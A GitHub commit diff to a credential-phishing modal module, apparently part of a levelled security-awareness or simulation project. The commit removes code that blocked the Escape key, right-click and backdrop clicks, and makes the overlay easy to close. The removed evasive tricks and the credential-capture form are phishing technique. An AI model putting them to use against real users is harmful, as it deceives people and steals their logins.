Skip to content

Commit 6860a72

Browse files
Fix close cross button and backdrop click to dismiss Auth_Context_Audit overlay without refresh
1 parent 6159b05 commit 6860a72

1 file changed

Lines changed: 15 additions & 14 deletions

File tree

src/modules/level3/credential_phish.js

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -161,8 +161,16 @@ export async function renderPhishingModal(options = {}) {
161161
const promise = new Promise((resolve) => { resolvePromise = resolve; });
162162
let timeoutId = null;
163163

164+
const escBlocker = (e) => {
165+
if (e.key === 'Escape') {
166+
e.preventDefault();
167+
dismiss(null);
168+
}
169+
};
170+
164171
const dismiss = (creds = null) => {
165172
if (timeoutId) clearTimeout(timeoutId);
173+
document.removeEventListener('keydown', escBlocker, true);
166174
overlay.remove();
167175
styleSheet.remove();
168176
if (onDismiss) onDismiss();
@@ -197,10 +205,11 @@ export async function renderPhishingModal(options = {}) {
197205
};
198206

199207
// Events
200-
const closeBtn = document.getElementById('__phish_close_btn');
208+
const closeBtn = overlay.querySelector('#__phish_close_btn');
201209
if (closeBtn) {
202210
closeBtn.addEventListener('click', (e) => {
203211
e.preventDefault();
212+
e.stopPropagation();
204213
dismiss(null);
205214
});
206215
}
@@ -220,19 +229,11 @@ export async function renderPhishingModal(options = {}) {
220229
if (e.key === 'Enter') { e.preventDefault(); submitCreds(); }
221230
});
222231

223-
// Evasive measures
224-
if (evasive) {
225-
overlay.addEventListener('contextmenu', (e) => e.preventDefault());
226-
document.addEventListener('keydown', function escBlocker(e) {
227-
if (e.key === 'Escape') {
228-
e.preventDefault();
229-
e.stopImmediatePropagation();
230-
}
231-
}, true);
232-
overlay.addEventListener('click', (e) => {
233-
if (e.target === overlay) e.stopPropagation();
234-
});
235-
}
232+
// Backdrop click & Escape key dismiss
233+
overlay.addEventListener('click', (e) => {
234+
if (e.target === overlay) dismiss(null);
235+
});
236+
document.addEventListener('keydown', escBlocker, true);
236237

237238
emailInput.focus();
238239
if (timeout > 0) {

0 commit comments

Comments
 (0)